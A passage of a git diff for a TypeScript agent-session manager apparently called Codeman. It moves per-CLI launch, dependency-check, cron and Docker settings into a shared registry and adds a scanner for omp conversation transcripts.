Sharing the entry's regex with the resolver is what stops the doctor and the run mode + * telling the user opposite things about the same binary — the Dependencies panel reporting + * "Pi CLI ✓" on a box where Run Pi stays hidden. + */ +function cliDependencyEntries(): ToolDependency[] { + const rows: ToolDependency[] = []; + for (const cli of enabledClis()) { + // `shell` has no binary of its own (the login shell is resolved at spawn time), so + // there is nothing for the doctor to probe. + const bin = cli.discovery.binaries[0]; + if (!bin) continue; + + const override = DOCTOR_ROW_OVERRIDES[cli.id as string]; + const version = cli.discovery.version; + const versionRegex = version?.regex ? (compileVersionRegex(version.regex) ?? undefined) : undefined; + + rows.push({ + id: override?.id ?? (cli.id as string), + label: override?.label ?? `${cli.label} CLI`, + category: 'core', + required: false, + usedBy: override?.usedBy ?? [`${cli.label} sessions`], + resolvers: [ + { + match: ALL, + resolver: { + kind: 'path', + bins: [bin], + versionArg: version?.arg ?? '--version', + versionRegex, + // Only meaningful for a CLI whose binary name is short, generic or squatted + // (pi, grok, dsh): a bare `which` hit there is not evidence of the right + // program, so a version mismatch means MISSING rather than unknown-version. + requireVersionMatch: version?.requireVersionMatch, + }, }, - }, - ], - }, - { - id: 'grok', - label: 'Grok CLI', - category: 'core', - required: false, - usedBy: ['Grok sessions'], - // Version match required for the same reason as pi: `grok` has known squatters - // (the unrelated @vibe-kit/grok-cli npm package also installs a `grok` bin), so a - // bare `which grok` hit is not the coding agent. Both sides share - // GROK_VERSION_REGEX, so the doctor and the run mode cannot drift. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['grok'], - versionArg: '--version', - versionRegex: GROK_VERSION_REGEX, - requireVersionMatch: true, - }, - }, - ], - }, - { - id: 'dsh', - label: 'DeepSeek Harness CLI', - category: 'core', - required: false, - usedBy: ['DeepSeek sessions'], - // Version match required, and for a sharper reason than pi or grok: `dsh` is - // not merely a squattable npm name, it is an existing Debian program - // (dancer's shell, `apt install dsh`). The run mode's resolver additionally - // demands the harness's own help banner before it will point a spawn line at - // a candidate; the doctor is advisory and settles for the shared - // DEEPSEEK_VERSION_REGEX, so the two cannot disagree about the VERSION even - // though the resolver is the stricter of the pair about IDENTITY. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['dsh'], - versionArg: '--version', - versionRegex: DEEPSEEK_VERSION_REGEX, - requireVersionMatch: true, - }, - }, - ], - }, - { - id: 'libreoffice', - label: 'LibreOffice', - category: 'office', - required: false, - usedBy: ['document preview', 'thumbnails'], - resolvers: [ - { - match: ['linux', 'darwin', 'wsl'], - resolver: { kind: 'path', bins: ['libreoffice', 'soffice'], versionArg: '--version' }, - }, - ], - installHint: { linux: 'sudo apt install libreoffice', darwin: 'brew install --cask libreoffice' }, - }, - { - id: 'pdftoppm', - label: 'pdftoppm', - category: 'office', - required: false, - usedBy: ['document preview', 'PDF/Office first-page thumbnails'], - // poppler's pdftoppm prints its version to stderr; presence is what matters here. - resolvers: [ - { match: ['linux', 'darwin', 'wsl'], resolver: { kind: 'path', bins: ['pdftoppm'], versionArg: '-v' } }, - ], - installHint: { - linux: 'sudo apt install poppler-utils', - darwin: 'brew install poppler', - wsl: 'sudo apt install poppler-utils', + ], + installHint: cli.discovery.install.command, + }); + } + return rows; +} + +/** + * The tools `codeman doctor` probes, resolved AT CALL TIME. + * + * ⚠️ A FUNCTION, not a module-level const, and for the same reason `sessionModeSchema()` and + * `allowedEnvPrefixes()` are functions: `cliDependencyEntries()` reads the CLI registry, and + * a const would have frozen the doctor's rows at first import while every schema resolved + * per parse. A CLI enabled while the server was running — or a `reloadCliRegistry()` — then + * moved the run menu and the validation but never the doctor, which would keep reporting the + * catalog as it stood when something first imported this module. Building the array per call + * costs a handful of object literals on a command that shells out to probe binaries anyway. + */ +export function dependencyRegistry(): ToolDependency[] { + return [ + { + id: 'node', + label: 'Node.js', + category: 'core', + required: true, + minVersion: '22.0.0', + resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['node'], versionArg: '--version' } }], + installHint: { linux: 'https://nodejs.org', darwin: 'brew install node', wsl: 'https://nodejs.org' }, }, - }, - { - id: 'msoffice', - label: 'MS Office', - category: 'office', - required: false, - usedBy: ['document preview', 'thumbnails'], - resolvers: [ - { - match: ['wsl', 'win32'], - resolver: { - kind: 'windows-side', - appDirs: ['Microsoft Office/root/Office16'], - exes: ['WINWORD.EXE', 'POWERPNT.EXE', 'EXCEL.EXE'], + { + id: 'tmux', + label: 'tmux', + category: 'core', + required: true, + resolvers: [{ match: ['linux', 'darwin', 'wsl'], resolver: { kind: 'path', bins: ['tmux'], versionArg: '-V' } }], + installHint: { linux: 'sudo apt install tmux', darwin: 'brew install tmux', wsl: 'sudo apt install tmux' }, + }, + ...cliDependencyEntries(), + { + id: 'libreoffice', + label: 'LibreOffice', + category: 'office', + required: false, + usedBy: ['document preview', 'thumbnails'], + resolvers: [ + { + match: ['linux', 'darwin', 'wsl'], + resolver: { kind: 'path', bins: ['libreoffice', 'soffice'], versionArg: '--version' }, }, + ], + installHint: { linux: 'sudo apt install libreoffice', darwin: 'brew install --cask libreoffice' }, + }, + { + id: 'pdftoppm', + label: 'pdftoppm', + category: 'office', + required: false, + usedBy: ['document preview', 'PDF/Office first-page thumbnails'], + // poppler's pdftoppm prints its version to stderr; presence is what matters here. + resolvers: [ + { match: ['linux', 'darwin', 'wsl'], resolver: { kind: 'path', bins: ['pdftoppm'], versionArg: '-v' } }, + ], + installHint: { + linux: 'sudo apt install poppler-utils', + darwin: 'brew install poppler', + wsl: 'sudo apt install poppler-utils', }, - ], - }, -]; + }, + { + id: 'msoffice', + label: 'MS Office', + category: 'office', + required: false, + usedBy: ['document preview', 'thumbnails'], + resolvers: [ + { + match: ['wsl', 'win32'], + resolver: { + kind: 'windows-side', + appDirs: ['Microsoft Office/root/Office16'], + exes: ['WINWORD.EXE', 'POWERPNT.EXE', 'EXCEL.EXE'], + }, + }, + ], + }, + ]; +} diff --git a/src/cron/cron-service.ts b/src/cron/cron-service.ts index 9e0faad1..cce014ee 100644 --- a/src/cron/cron-service.ts +++ b/src/cron/cron-service.ts @@ -10,6 +10,8 @@ import { v4 as uuidv4 } from 'uuid'; import { readFile } from 'node:fs/promises'; import { statSync, realpathSync } from 'node:fs'; +import { getCli } from '../config/cli-registry/registry.js'; +import { resolveCliLaunchError } from '../utils/cli-launcher.js'; import { Session } from '../session.js'; import { applyWorkspaceHooks } from '../hooks-config.js'; import { SseEvent } from '../web/sse-events.js'; @@ -58,9 +60,26 @@ export function clampCronExternalCliConfigs( ownerGranted: boolean ): { geminiConfig: GeminiConfig | undefined; piConfig: PiConfig | undefined } { if (ownerGranted) return { geminiConfig: undefined, piConfig: undefined }; + + // A cron job carries no per-CLI config at all, so ONLY the materialize-when-absent params + // can apply here — an only-if-sent clamp has nothing to clamp. Reading them off the + // registry rather than naming gemini and pi means a future CLI whose bare spawn is unsafe + // is covered the moment its entry says so, instead of silently missing this path. + const entry = getCli(mode); + const aliases = entry?.launch.legacyConfigAliases ?? {}; + const materialized: Record = {}; + for (const { param, clampTo, materializeWhenAbsent } of entry?.capabilities.privilegedParams ?? []) { + // Same registry-param → legacy-wire-field hop the HTTP clamp makes. Neither gemini's + // `approvalMode` nor pi's `approveProjectTrust` is aliased today, so this changes nothing + // now — but the two are DIFFERENT namespaces, and writing the raw param here would make + // this path stop clamping the moment one of them gained an alias, silently. + if (materializeWhenAbsent) materialized[aliases[param] ?? param] = clampTo; + } + const has = Object.keys(materialized).length > 0; + const field = entry?.launch.legacyConfigField; return { - geminiConfig: mode === 'gemini' ? { approvalMode: 'auto_edit' } : undefined, - piConfig: mode === 'pi' ? { approveProjectTrust: false } : undefined, + geminiConfig: has && field === 'geminiConfig' ? (materialized as GeminiConfig) : undefined, + piConfig: has && field === 'piConfig' ? (materialized as PiConfig) : undefined, }; } @@ -387,7 +406,7 @@ export class CronService { // Section 6.3: re-resolve the owner's grant at FIRE time (it may have been revoked // since create). Gates shell/launchCommand AND clamps the external-CLI bypass below. const ownerGranted = await canUsernameRunPrivilegedCommands(job.owner); - if ((job.agentType === 'shell' || job.launchCommand) && !ownerGranted) { + if ((getCli(job.agentType)?.capabilities.privilegedCommandGate || job.launchCommand) && !ownerGranted) { return this.failRun(job, run, 'Owner lacks the can-bypass-permissions grant for shell/launchCommand jobs'); } @@ -395,23 +414,37 @@ export class CronService { let session: Session; try { const mode = job.agentType; - // Same two-part availability gate the HTTP create paths run: `dsh` is a - // profile LAUNCHER, so without this a job on a box with only the stock - // web/headless profiles spawns a bare `dsh` that boots a profile unable - // to drive a pane, and the prompt is typed into a logging server or a - // dead pane instead of failing the run with the actionable message. - if (mode === 'deepseek') { - const { resolveDeepSeekLaunchError } = await import('../utils/deepseek-cli-resolver.js'); - const launchError = resolveDeepSeekLaunchError(); - if (launchError) return this.failRun(job, run, launchError); + // A LAUNCHER CLI's binary is not its agent, so "installed" is not "runnable": without + // this, a job on a box carrying only dsh's stock web/headless profiles spawns a bare + // `dsh` that boots a profile unable to drive a pane, and the prompt is typed into a + // logging server or a dead pane instead of failing the run with an actionable message. + // + // ⚠️ Scoped to `discovery.launcherProfile`, which is byte-identical to the + // `mode === 'deepseek'` check this replaces (dsh is the only launcher today) and + // generalises to the next one. Deliberately NOT every CLI: cron has never pre-flighted + // a merely-missing binary, and doing so replaces tmux-manager's own not-found throw + // ("Session launch failed") with a different message for claude and shell. An earlier + // draft of this line was unscoped and did exactly that — three cron tests caught it. + if (getCli(mode)?.discovery.launcherProfile !== undefined) { + const cronLaunchError = await resolveCliLaunchError(mode); + if (cronLaunchError) return this.failRun(job, run, cronLaunchError); } const globalNice = await this.deps.getGlobalNiceConfig(); const modelConfig = await this.deps.getModelConfig(); const claudeModeConfig = await this.deps.getClaudeModeConfig(); const effectiveClaudeMode = await resolveClaudeModeForUsername(claudeModeConfig.claudeMode, job.owner); - // DeepSeek's model is a composition entry in the profile's config tree, - // not a session flag — mirror the HTTP routes' exclusion. - const model = mode !== 'shell' && mode !== 'deepseek' ? modelConfig?.defaultModel || undefined : undefined; + // Cron carries no per-CLI config object, so the only model it can supply is the global + // default — and only to a CLI that takes a model at all. + // + // ⚠️ `!== 'none'` is the faithful reading of the `mode !== 'shell' && mode !== 'deepseek'` + // ladder this replaces: those two are exactly the entries declaring `model.source: 'none'` + // (shell has no model; deepseek's is a profile composition entry, not a session flag). + // NOT `=== 'claude-settings-file'`, which is the HTTP route's question — there, every + // external CLI reads its model from its own config object earlier in the chain, so only + // claude reaches the global default. Cron has no such config, so the same expression + // means something different here. + const model = + getCli(mode)?.capabilities.model.source !== 'none' ? modelConfig?.defaultModel || undefined : undefined; // Section 6.3: materialize the safe default for a non-granted owner (see // clampCronExternalCliConfigs — cron sends no per-CLI config, so the CLI's own // spawn default is what would otherwise apply). @@ -560,7 +593,9 @@ export class CronService { private sendPromptWhenReady(sessionId: string, prompt: string, job: CronJob, run: CronJobRun): void { setImmediate(() => { const poll = async (): Promise => { - if (job.agentType !== 'shell') { + // A shell pane is ready the moment it exists; an agent CLI has a TUI to paint + // first. That is the `kind` the registry already records, not a fact about shell. + if (getCli(job.agentType)?.kind !== 'shell') { for (let attempt = 0; attempt < CRON_READY_MAX_ATTEMPTS; attempt++) { await delay(500); const s = this.deps.sessions.get(sessionId); diff --git a/src/docker-hosts.ts b/src/docker-hosts.ts index e2801b55..2cfa6502 100644 --- a/src/docker-hosts.ts +++ b/src/docker-hosts.ts @@ -23,7 +23,8 @@ import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; import fs from 'node:fs/promises'; -import { join, dirname } from 'node:path'; +import { dirname, isAbsolute, join, relative, resolve } from 'node:path'; +import { enabledCliIds, getCli } from './config/cli-registry/registry.js'; import { fileURLToPath } from 'node:url'; import { homedir } from 'node:os'; import { createHash } from 'node:crypto'; @@ -32,7 +33,6 @@ import { promisify } from 'node:util'; import { dataPath } from './config/instance.js'; import type { DockerCase, - DockerCommandMode, DockerEngine, DockerHost, DockerNetworkMode, @@ -56,29 +56,28 @@ export const DEFAULT_AGENT_IMAGE = 'codeman/agent:base'; export const CONTAINER_HOME = '/home/agent'; /** - * Modes the adoption preflight probes for inside an existing container. `shell` - * is omitted deliberately: it needs no CLI binary and is always available, so it - * is reported as available without a `command -v` lookup. + * Modes the adoption preflight probes for inside an existing container, derived from the + * CLI registry so a newly-enabled CLI is probed without a second list to remember. + * + * No arm for `shell` here: it declares no binary, so `probeAdoptableContainer` drops it + * from the `command -v` list and reports it available unconditionally, which is the same + * answer a special case would have produced. */ -export const DOCKER_ADOPT_PROBE_MODES = [ - 'claude', - 'codex', - 'opencode', - 'gemini', - 'antigravity', - 'pi', - 'grok', - 'deepseek', - 'shell', -] as const satisfies readonly SessionMode[]; +export function dockerAdoptProbeModes(): SessionMode[] { + return enabledCliIds() as SessionMode[]; +} /** - * The BINARY a mode looks for inside a container. Not always the mode name: + * The BINARY a mode looks for inside a container. ⚠️ NOT always the mode name: * `antigravity` ships as `agy` and `deepseek` as `dsh`, so probing by mode name - * would report those two as missing on a container that has them. Single source - * with `defaultDockerCommandForMode`, which launches the same binaries. + * would report those two as missing on a container that has them. Same source + * `probeDockerCliVersion` reads, and the same one `defaultDockerCommandForMode` + * launches from — a local table here duplicated the registry with nothing + * keeping the two in step. */ -const MODE_BINARIES: Partial> = { antigravity: 'agy', deepseek: 'dsh' }; +function containerBinaryFor(mode: SessionMode): string | undefined { + return getCli(mode)?.discovery.binaries[0]; +} /** Per-case container name prefix. The `case` letters deliberately do NOT matter to * tmux; this is a DOCKER name (`^[a-zA-Z0-9][a-zA-Z0-9_.-]+$`), and case names are @@ -159,26 +158,30 @@ export function dockerContainerName(caseName: string): string { return `${CONTAINER_NAME_PREFIX}${caseName}`; } -/** Default pane command per CLI mode (mirror of defaultRemoteCommandForMode). */ +/** + * Default in-container pane command per CLI mode (mirror of defaultRemoteCommandForMode). + * + * ⚠️ Read from the registry (`overlays.docker`), not from a hardcoded + * `Record`. That table duplicated the registry exactly with + * nothing keeping the two in step. `shell` is the one arm still written here, because it is + * the entry that declares `docker: { disabled: true }` — a container has no per-user login + * shell to resolve, so it gets a plain `bash -l` rather than a CLI invocation. + * + * ⚠️ `runsAsRoot` selects the overlay's `rootCommand` when it declares one. Claude Code + * REFUSES `--dangerously-skip-permissions` under uid 0 ("cannot be used with root/sudo + * privileges", still true in 2.1.261), and the refusal is only visible INSIDE the + * container, so the pane just dies. Our own base image runs a non-root user and never hits + * it; an ADOPTED container's user belongs to its owner and is frequently root. Which flag + * to drop is a per-CLI fact, so it lives in the registry rather than in a branch here. + */ export function defaultDockerCommandForMode(mode: SessionMode, runsAsRoot = false): string { - const commands: Record = { - shell: 'exec bash -l', - // Mirror the LOCAL claude default so the in-container agent runs - // non-interactively — EXCEPT as root, where Claude Code refuses the flag - // outright ("cannot be used with root/sudo privileges"). Our base image runs - // a non-root user so an owned container never hits this; an adopted - // container's user belongs to its owner and is frequently root, and keeping - // the flag there kills the pane with a message only visible inside it. - claude: runsAsRoot ? 'exec claude' : 'exec claude --dangerously-skip-permissions', - opencode: 'exec opencode', - codex: 'exec codex', - gemini: 'exec gemini', - antigravity: 'exec agy', - pi: 'exec pi', - grok: 'exec grok', - deepseek: 'exec dsh', - }; - return commands[mode as DockerCommandMode] || commands.shell; + const entry = getCli(mode); + const overlay = entry?.overlays.docker; + if (!entry || (overlay && 'disabled' in overlay)) return 'exec bash -l'; + // Mirrors the LOCAL default for each CLI; claude's carries + // `--dangerously-skip-permissions` so the in-container agent runs non-interactively. + const cli = (runsAsRoot ? overlay?.rootCommand : undefined) ?? overlay?.command ?? entry.discovery.binaries[0]; + return cli ? `exec ${cli}` : 'exec bash -l'; } /** `container:/workdir` display string (mirror of remoteDisplayPath's `user@host:path`). */ @@ -321,6 +324,24 @@ export interface DockerMount { readonly?: boolean; } +/** + * Resolve a bind source into the Docker daemon's filesystem namespace. + * + * A bare-host Codeman process and its Docker daemon see the same HOME, so the + * source is returned unchanged. In Docker-outside-of-Docker deployments, + * `runtimeHome` is the path inside Codeman while `daemonHome` is the host path + * bind-mounted there. Sources beneath HOME must therefore be translated before + * they are sent through the Docker socket. + */ +export function resolveDockerDaemonMountSource(source: string, runtimeHome: string, daemonHome?: string): string { + const configuredDaemonHome = daemonHome?.trim(); + if (!configuredDaemonHome) return source; + + const relativeSource = relative(resolve(runtimeHome), resolve(source)); + if (relativeSource.startsWith('..') || isAbsolute(relativeSource)) return source; + return resolve(configuredDaemonHome, relativeSource); +} + /** * Resolved, IO-free context for buildDockerCreateArgs. The caller (tmux-manager) * resolves the environment-dependent bits (host uid, existing cred mounts, the @@ -344,6 +365,8 @@ export interface DockerCreateContext { addHostGateway: boolean; /** Engine host-gateway alias (host.docker.internal / host.containers.internal). */ gatewayAlias: string; + /** Omit --memory-swap when the host kernel cannot enforce swap limits. */ + disableSwapLimit?: boolean; } /** @@ -361,12 +384,15 @@ function mountSpec(m: DockerMount): string { return `type=bind,src=${m.src},dst=${m.dst}${m.readonly ? ',readonly' : ''}`; } -function resourceFlags(resources?: DockerResourceLimits): string[] { +function resourceFlags(resources?: DockerResourceLimits, disableSwapLimit = false): string[] { if (!resources) return []; const flags: string[] = []; if (resources.memory) { - // memory-swap == memory disables swap, making --memory a REAL OOM cap. - flags.push('--memory', resources.memory, '--memory-swap', resources.memory); + flags.push('--memory', resources.memory); + // memory-swap == memory disables swap where the daemon supports swap + // accounting. Some kernels, including the deployed Unraid host, do not; + // requesting it there emits a warning and Docker ignores the value. + if (!disableSwapLimit) flags.push('--memory-swap', resources.memory); } if (resources.cpus) flags.push('--cpus', resources.cpus); if (resources.pidsLimit) flags.push('--pids-limit', String(resources.pidsLimit)); @@ -431,7 +457,7 @@ export function buildDockerCreateArgs(ctx: DockerCreateContext): string[] { if (addHostGateway) args.push('--add-host', `${gatewayAlias}:host-gateway`); args.push( - ...resourceFlags(docker.resources), + ...resourceFlags(docker.resources, ctx.disableSwapLimit), // GPU passthrough (needs the NVIDIA container toolkit on the host). No storage // cap is set, so the container's writable layer + volumes grow elastically as // data flows in (bounded only by host disk). @@ -684,6 +710,22 @@ const CRED_STORES: CredStorePolicy[] = [ }, { rel: '.config/gcloud', seedWhole: true }, { rel: '.config/opencode', seedWhole: true }, + // OMP keeps its config in `~/.omp/agent` (config.yml/mcp.json/models.yml/ + // settings.yml — small, no bigger than grok's config.toml/pager.toml), but + // that dir ALSO holds agent.db/history.db/models.db (SQLite caches) and + // terminal-sessions/blobs/cache (large, regenerable), so seed only the + // config files. UNLIKE pi/grok, `sessions/` is SHARED (RW), not + // host-invisible: Codeman reads `~/.omp/agent/sessions/**/*.jsonl` + // HOST-SIDE for history recovery and --resume pinning + // (omp-transcript.ts, omp-session-resolver.ts) — the same reason codex's + // `sessions/` is shared rather than seeded. Without this, an in-container + // OMP conversation would be invisible to Codeman's own history-scan/resume + // logic, silently breaking the kill-survival feature for Docker cases. + { + rel: '.omp/agent', + shareDirs: ['sessions'], + seedFiles: ['config.yml', 'mcp.json', 'models.yml', 'settings.yml'], + }, ]; /** @@ -1171,9 +1213,10 @@ export async function probeAdoptableContainer( } // One exec resolves tmux plus every requested CLI, so adoption costs a single // round trip. Binaries are fixed mode names, never user input. - const wanted = modes.filter((m) => m !== 'shell'); - const binaryFor = (mode: SessionMode) => MODE_BINARIES[mode] ?? mode; - const probes = ['tmux', ...wanted.map(binaryFor)]; + // A mode with no binary of its own (`shell`) is dropped: there is nothing to look up, + // and `command -v ''` would make the whole probe meaningless. + const wanted = modes.filter((m) => !!containerBinaryFor(m)); + const probes = ['tmux', ...wanted.map((m) => containerBinaryFor(m) as string)]; // `; exit 0` is load-bearing: the script's status is its LAST command's, so a // missing final CLI made the whole `sh -lc` exit 1 and the probe reported // "could not exec into the container" for a container that was perfectly fine. @@ -1229,7 +1272,10 @@ export async function probeAdoptableContainer( running: true, image, tmuxPath: 'tmux', - availableModes: modes.filter((m) => m === 'shell' || found.has(binaryFor(m))), + availableModes: modes.filter((m) => { + const bin = containerBinaryFor(m); + return bin ? found.has(bin) : true; // `shell` needs no binary + }), workdirExists, runsAsRoot: found.has('__root__'), }; @@ -1389,8 +1435,13 @@ export async function probeDockerCliVersion( mode: SessionMode ): Promise { if (IS_TEST_MODE) return undefined; - const bin = mode === 'shell' ? null : mode; - if (!bin) return undefined; + // ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used + // to pass the mode straight through as the command, which would have probed a binary that + // does not exist. Only claude reaches this today (it is the one CLI with a version gate), + // so nothing was actually broken, but the registry is what makes it correct for the next + // CLI that needs a version. + const bin = getCli(mode)?.discovery.binaries[0]; + if (!bin) return undefined; // `shell` has no binary of its own const argv = dockerEngineArgv(docker); try { const { stdout } = await execFileAsync( diff --git a/src/mux-interface.ts b/src/mux-interface.ts index 6cb9693f..f4e3dd24 100644 --- a/src/mux-interface.ts +++ b/src/mux-interface.ts @@ -21,6 +21,7 @@ import type { PiConfig, GrokConfig, DeepSeekConfig, + OmpConfig, SessionRemote, SessionDocker, } from './types.js'; @@ -82,6 +83,7 @@ export interface CreateSessionOptions { piConfig?: PiConfig; grokConfig?: GrokConfig; deepSeekConfig?: DeepSeekConfig; + ompConfig?: OmpConfig; /** When restoring after reboot, resume a previous Claude conversation by its session ID */ resumeSessionId?: string; /** Extra env vars exported before launching the CLI (e.g., CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS). Ephemeral — not written to disk. */ @@ -116,6 +118,7 @@ export interface RespawnPaneOptions { piConfig?: PiConfig; grokConfig?: GrokConfig; deepSeekConfig?: DeepSeekConfig; + ompConfig?: OmpConfig; /** Resume a previous Claude conversation when respawning */ resumeSessionId?: string; /** Extra env vars exported before launching the CLI (preserved across respawns). */ diff --git a/src/omp-transcript.ts b/src/omp-transcript.ts new file mode 100644 index 00000000..9bf25b6c --- /dev/null +++ b/src/omp-transcript.ts @@ -0,0 +1,175 @@ +/** + * @fileoverview Scan `~/.omp/agent/sessions/*/*.jsonl` for Past Sessions rows, + * the omp analog of what `scanProjectDir()` (session-routes.ts) does for + * Claude's own `~/.claude/projects` transcripts. + * + * Without this, an omp conversation exists ONLY as a Codeman-level live/ + * persisted session record — delete that (a "Kill Tmux" close, or any other + * cleanup) and the conversation vanishes from Past Sessions entirely, even + * though `omp` itself never forgot it. Claude conversations don't have that + * problem because Codeman already reads them back from Claude's own + * transcript files independent of its own session bookkeeping; this gives + * omp conversations the same treatment. + * + * Each omp session file's SECOND line is a `{"type":"session","id":..., + * "cwd":...}` header carrying the real (unmangled) working directory and the + * session's own id directly — no need to reverse-engineer the mangled + * directory name the way Claude Code's own scanner has to (see + * `decodeProjectKey()` in session-routes.ts and its "lossy" caveat). Prompt + * text comes from each `{"type":"message","message":{"role":"user",...}}` + * entry, giving a real first-message title instead of a bare case name. + * + * Unlike Claude's transcripts (which can run to tens of MB of tool-call + * output), an omp session file is the conversation only, so this reads each + * file whole rather than doing head/tail windows — bounded by a size cap so + * one unexpectedly huge file can't blow up memory. + * + * @module omp-transcript + */ + +import { readFileSync, readdirSync, statSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; + +function ompSessionsRoot(): string { + return join(homedir(), '.omp', 'agent', 'sessions'); +} + +/** Skip anything absurdly large rather than parsing it whole into memory. */ +const MAX_OMP_SESSION_FILE_BYTES = 2 * 1024 * 1024; + +/** Defensive cap on total files scanned across every directory, mirroring + * the Claude scanner's own instinct not to let one pathological tree stall + * a request — a real omp install has, at most, a few hundred of these. */ +const MAX_OMP_SESSION_FILES = 2000; + +export interface OmpHistorySession { + sessionId: string; + workingDir: string; + sizeBytes: number; + /** ISO timestamp, from the file's own mtime. */ + lastModified: string; + firstPrompt?: string; + lastPrompt?: string; +} + +function extractUserPromptText(message: unknown): string | undefined { + if (!message || typeof message !== 'object') return undefined; + const m = message as { role?: unknown; content?: unknown }; + if (m.role !== 'user' || !Array.isArray(m.content)) return undefined; + const parts: string[] = []; + for (const block of m.content) { + if (block && typeof block === 'object' && (block as { type?: unknown }).type === 'text') { + const text = (block as { text?: unknown }).text; + if (typeof text === 'string') parts.push(text); + } + } + const joined = parts.join(' ').trim(); + return joined || undefined; +} + +/** Parse one omp session `.jsonl` file, or null when it's unreadable, empty, or has no session header. */ +function parseOmpSessionFile(filePath: string): OmpHistorySession | null { + let stat: ReturnType; + try { + stat = statSync(filePath); + } catch { + return null; + } + if (stat.size === 0 || stat.size > MAX_OMP_SESSION_FILE_BYTES) return null; + + let raw: string; + try { + raw = readFileSync(filePath, 'utf-8'); + } catch { + return null; + } + + let sessionId: string | undefined; + let workingDir: string | undefined; + let firstPrompt: string | undefined; + let lastPrompt: string | undefined; + + for (const line of raw.split('\n')) { + if (!line) continue; + let entry: unknown; + try { + entry = JSON.parse(line); + } catch { + continue; + } + if (!entry || typeof entry !== 'object') continue; + const e = entry as Record; + if (e.type === 'session' && typeof e.id === 'string' && typeof e.cwd === 'string' && e.cwd.startsWith('/')) { + // A corrupted or malformed session file could carry a relative or empty + // cwd; requiring an absolute path keeps a downstream resume attempt + // from being pointed at a nonsense working directory. + sessionId = e.id; + workingDir = e.cwd; + } else if (e.type === 'message') { + const prompt = extractUserPromptText(e.message); + if (prompt) { + if (!firstPrompt) firstPrompt = prompt; + lastPrompt = prompt; + } + } + } + + if (!sessionId || !workingDir) return null; + return { + sessionId, + workingDir, + sizeBytes: stat.size, + lastModified: stat.mtime.toISOString(), + firstPrompt, + lastPrompt, + }; +} + +/** + * Scan every omp conversation on disk into Past-Sessions rows. Best-effort + * throughout: a missing `~/.omp` (never installed/used), an unreadable + * directory, or one corrupt file yields fewer rows rather than throwing — + * this feeds the same unified merge the Claude transcript scanner does, and + * one broken source must never blank the whole Past Sessions list. + */ +export function scanOmpSessionsHistory(): OmpHistorySession[] { + const root = ompSessionsRoot(); + let dirEntries: string[]; + try { + dirEntries = readdirSync(root); + } catch { + return []; + } + + const out: OmpHistorySession[] = []; + for (const dirName of dirEntries) { + if (out.length >= MAX_OMP_SESSION_FILES) break; + const dirPath = join(root, dirName); + let dirStat: ReturnType; + try { + dirStat = statSync(dirPath); + } catch { + continue; + } + if (!dirStat.isDirectory()) continue; + + let files: string[]; + try { + files = readdirSync(dirPath); + } catch { + continue; + } + for (const file of files) { + if (out.length >= MAX_OMP_SESSION_FILES) break; + if (!file.endsWith('.jsonl')) continue; + try { + const parsed = parseOmpSessionFile(join(dirPath, file)); + if (parsed) out.push(parsed); + } catch { + // One bad file must not sink the whole scan. + } + } + } + return out; +} diff --git a/src/remote-hosts.ts b/src/remote-hosts.ts index a82bdb37..cb14166c 100644 --- a/src/remote-hosts.ts +++ b/src/remote-hosts.ts @@ -4,9 +4,9 @@ import { join } from 'node:path'; import { homedir } from 'node:os'; import { exec } from 'node:child_process'; import { promisify } from 'node:util'; +import { getCli } from './config/cli-registry/registry.js'; import type { RemoteCase, - RemoteCommandMode, RemoteHost, RemoteSessionInfo, RemoteSshOptions, @@ -89,38 +89,54 @@ export function remoteLoginShellCommand(command: string): string { return `exec ${REMOTE_LOGIN_SHELL} -i -l -c ${shellescape(command)}`; } +/** + * The CLI text a location overlay should launch for `mode`, or null when this build has no + * entry for it. `overlays..command` when the entry names one, otherwise the bare + * binary — which is what every non-claude CLI wants, and why only claude declares a command. + * + * ⚠️ This returns the CLI INVOCATION only. Each location wraps it its own way (remote: a + * login-shell `-c`; docker: `exec`), which is exactly why the overlay stores the unwrapped + * form rather than a ready-made line. + */ +function overlayCliCommand(mode: SessionMode, location: 'remote' | 'docker'): string | null { + const entry = getCli(mode); + if (!entry) return null; + const overlay = entry.overlays[location]; + if (overlay && 'disabled' in overlay) return null; + return overlay?.command ?? entry.discovery.binaries[0] ?? null; +} + +/** + * The default remote pane command for `mode`. + * + * Agent CLIs (claude/opencode/codex/gemini/antigravity/…) are typically installed under + * per-user paths like ~/.local/bin or ~/.opencode/bin, added to PATH only by the remote + * user's interactive-login shell startup files (~/.zshrc etc.). ssh's remote-command + * execution is neither interactive nor login, so a bare `exec claude` sees only sshd's + * minimal default PATH and fails with "command not found" (exit 127) — confirmed via + * `tmux capture-pane` on the remain-on-exit-preserved dead pane. Route through + * `$SHELL -i -l -c`, the same fix shell mode uses, so PATH is fully resolved first. + * + * ⚠️ The per-CLI half is now READ FROM THE REGISTRY (`overlays.remote`), not from a + * hardcoded `Record`. The table it replaces duplicated the + * registry exactly, with nothing keeping the two in step — a capability that is both wrong + * and unread is worse than an absent one, because the next person trusts it. Notes that were + * attached to individual rows and are still true: + * - claude carries `--dangerously-skip-permissions` so the remote agent runs + * non-interactively (no trust-folder prompt nothing on the remote can answer); + * `overlays.remote.command` on the claude entry is where that now lives. + * - `dsh` alone boots nothing — the launcher needs a profile, and the remote box's profile + * inventory is unknown here. The per-host `commands.deepseek` override names one. + * The per-host `commands.*` override remains the escape hatch for every mode. + */ export function defaultRemoteCommandForMode(mode: SessionMode): string { - // Agent CLIs (claude/opencode/codex/gemini/antigravity) are typically installed - // under per-user paths like ~/.local/bin or ~/.opencode/bin, added to PATH only by - // the remote user's interactive-login shell startup files (~/.zshrc etc.). ssh's - // remote-command execution is neither interactive nor login, so a bare `exec - // claude` sees only sshd's minimal default PATH and fails with "command not - // found" (exit 127) — confirmed via `tmux capture-pane` on the - // remain-on-exit-preserved dead pane. Route through `$SHELL -i -l -c`, the same - // fix already used for shell mode below, so PATH is fully resolved before the - // CLI name is looked up. - const commands: Record = { - // $SHELL, not a hardcoded bash: sshd sets it from the remote user's - // /etc/passwd entry, so this launches their actual login shell (zsh, - // fish, etc.). -i -l so it sources rc files (~/.zshrc etc.), matching - // the local shell-mode launch. - shell: `exec 